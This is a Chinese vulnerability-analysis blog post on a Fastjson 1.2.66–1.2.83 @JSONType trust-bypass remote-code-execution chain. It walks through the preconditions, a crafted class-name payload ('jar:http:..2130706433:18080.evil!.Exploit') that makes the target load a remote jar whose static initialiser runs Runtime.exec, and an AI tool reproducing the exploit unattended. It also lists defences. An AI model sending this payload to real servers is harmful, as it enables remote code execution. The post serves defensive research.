文章总结: 本文分析了Fastjson1.2.66-1.2.83版本中@JSONType信任旁路漏洞的利用链,攻击者通过构造特殊类名触发远程类加载实现RCE。关键前置条件包括特定ClassLoader和JDK8环境。防御措施包括开启SafeMode、升级fastjson2或JDK9+。文章还介绍了使用Memfit和Yakit工具复现漏洞的方法。 综合评分: 91 文章分类: 漏洞分析,渗透测试,代码审计,应急响应,威胁情报
使用Memfit复现最新的Fastjson远程代码执行漏洞
原创
YAK YAK
Yak Project
2026年7月21日 19:51 湖南
在小说阅读器读本章
去阅读
一、漏洞背景
Fastjson 是阿里巴巴集团开源的高性能 JSON 处理库,用于 Java 环境下的 JSON 序列化与反序列化。项目最初托管于 GitHub(alibaba/fastjson),后迁移至 alibaba/fastjson2,曾是 Java 生态中应用最广泛的 JSON 库之一。
- 开发方:阿里巴巴(Alibaba)
- 编程语言:Java
- 开源协议:Apache 2.0
- 主要功能:Java 对象与 JSON 数据的相互转换
Fastjson 最著名的安全问题源于其 autoType 特性:
- autoType 允许 JSON 中通过
@type字段指定反序列化的目标 Java 类,框架会动态加载并实例化该类。 - 该设计初衷是实现多态对象的序列化还原,但同时也打开了任意类加载的攻击面。
- 攻击者可构造恶意 JSON 数据,触发 JNDI 注入、
TemplatesImpl加载字节码、JdbcRowSetImpl等 gadget,进而实现远程代码执行(RCE)。
二、漏洞版本时间线
Fastjson 1.x 围绕 autoType 进行了长期的攻防博弈,从早期默认开启 autoType 到引入黑名单、校验 hash,再到 SafeMode。本项目复现的是 1.x 末版的 @JSONType 旁路:
@JSONType探测路径在 fastjson 1.2.66 引入,用于兼容带@JSONType注解的业务类多态还原。- 该探测作为 autoType 之外的”信任通道”,不检查 autoType 开关、不走黑名单 hash 门。
- 这条旁路在 1.2.66 ~ 1.2.83 全程存在。
- 1.2.83 是 fastjson 1.x 的最后一个 Tag,项目此后进入 Archived 状态,安全演进在 fastjson2 上继续。
打开 fastjson 的 GitHub 项目可以看到项目目前已进入 Archived 状态,最新 Tag 版本为 1.2.83:
打开MavenRepo注意到fastjson最新1.2.x版本停留在1.2.83
三、利用链分析
本次复现的漏洞走的是 @JSONType 信任旁路,与传统的 JNDI / TemplatesImpl gadget 链不同,它不依赖任何已知 gadget 类,而是直接让 fastjson 的探测逻辑把”类名”还原成 jar:http:// 远程类加载 URL。整条链可拆为以下阶段:
YAK
1.前置条件
这条链需要三个前置条件同时成立:
1.fastjson 1.2.66 ~ 1.2.83;
2.ParserConfig.defaultClassLoader 被设为一个 jar-URL-aware 的 ClassLoader——本实验用的是 Spring Boot 的 LaunchedURLClassLoader,它的 getResourceAsStream 会把 jar:http://...!/...class 当真实嵌套 jar URL 处理并发起 HTTP 请求;
3.目标环境应该是JDK 8因为JDK 9+ 的 defineClass 会拒绝 jar:http://...!/Exploit 这种非法内部类名,RCE降级成 SSRF。
靶机里的 LaunchedClassLoaderInitializer 通过反射构造 LaunchedURLClassLoader 并 setDefaultClassLoader,镜像了真实场景中”应用主动把 jar-URL-aware loader 设给 fastjson”的触发条件。
YAK
2. @JSONType 探测(信任旁路)
ParserConfig.checkAutoType 在走 autoType 主路前,先执行一段 @JSONType 探测:假设”被标注 @JSONType 的类是受信任的业务类”,对其放行。这段逻辑 不检查 autoType 开关、不走黑名单 hash 检查,是独立于 autoType 的信任通道:
java
```
String resource = typeName.replace('.', '/') + ".class";InputStream is = defaultClassLoader.getResourceAsStream(resource);// 命中 @JSONType -> TypeUtils.loadClass(typeName, defaultClassLoader, true)
***YAK***
**3.URL 还原**
Payload 里的"类名"是 `jar:http:..2130706433:18080.evil!.Exploit`。经过 `typeName.replace('.', '/')` 还原后:
text
jar:http:..2130706433:18080.evil!.Exploit → jar:http://2130706433:18080/evil!/Exploit.class
“`
两个关键技巧:
..→//:攻击者把 URL 中的//用两个点替代写进”类名”,靠 fastjson 自己的replace把 URL 拼回来。2130706433:这是127.0.0.1的十进制整数形式。点状 IP 会被替换成127/0/0/1直接废掉,整数形式没有点,原样穿过替换并在 HTTP 层解析为回环地址。”整数形式 IP 字面量”是该漏洞的强信号特征之一。
YAK
4.SSRF + 远程类加载
getResourceAsStream 还原出 jar:``http://2130706433:18080/evil!/Exploit.class 后,LaunchedURLClassLoader 对 http://127.0.0.1:18080/evil 发起 HTTP GET,获取攻击者投放的 evil.jar。到这一步 SSRF 已成立。
YAK
5.defineClass +
探测命中后,fastjson 调 loadClass → defineClass:
evil.jar中Exploit.class的字节码内部名被刻意写成jar:``http://2130706433:18080/evil!/Exploit(Java 源码无法表达,用 ASM 直接指定);- 类带 runtime-visible
@JSONType注解,满足探测信任条件; <clinit>内为恶意代码(Runtime.exec)。
JDK 8 verifier 宽松接受该内部名 → defineClass 成功 → 类初始化触发 <clinit> → RCE。
四、使用Memfit复现漏洞
打开Memfit,选择包含漏洞通报的文件夹然后让Memfit自行复现。使用yolo托管模式。这里我们使用glm-5.2模型进行复现。
在开始运行后通过观察任务执行详情,在无人工介入的情况下Memfit完成了漏洞复现任务。
并在执行完成后生成了Risk信息。
五、使用Yakit复现
六、防御措施
#
| | | | | — | — | — | | 防御措施 | 对应代码 | 效果 | | 开 SafeMode | ParserConfig.java:1329前援 | 在所有检查前抛异常,链直接断 | | 升级fastjson2 | ParserConfig.java:1479-1502整段 | fastjson2 移除/加固此探测路径 | | 升级JDK9+ | JVM defineClass | 拒绝非法内部名,断在SSRF,不落地RCE |
END
YAK官方资源
Yak 语言官方教程: https://yaklang.com/docs/intro/ Yakit 视频教程: https://space.bilibili.com/437503777 Github下载地址: https://github.com/yaklang/yakit Yakit官网下载地址: https://yaklang.com/ Yakit安装文档: https://yaklang.com/products/download_and_install Yakit使用文档: https://yaklang.com/products/intro/ 常见问题速查: https://yaklang.com/products/FAQ
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Yak Project YAK YAK《使用Memfit复现最新的Fastjson远程代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论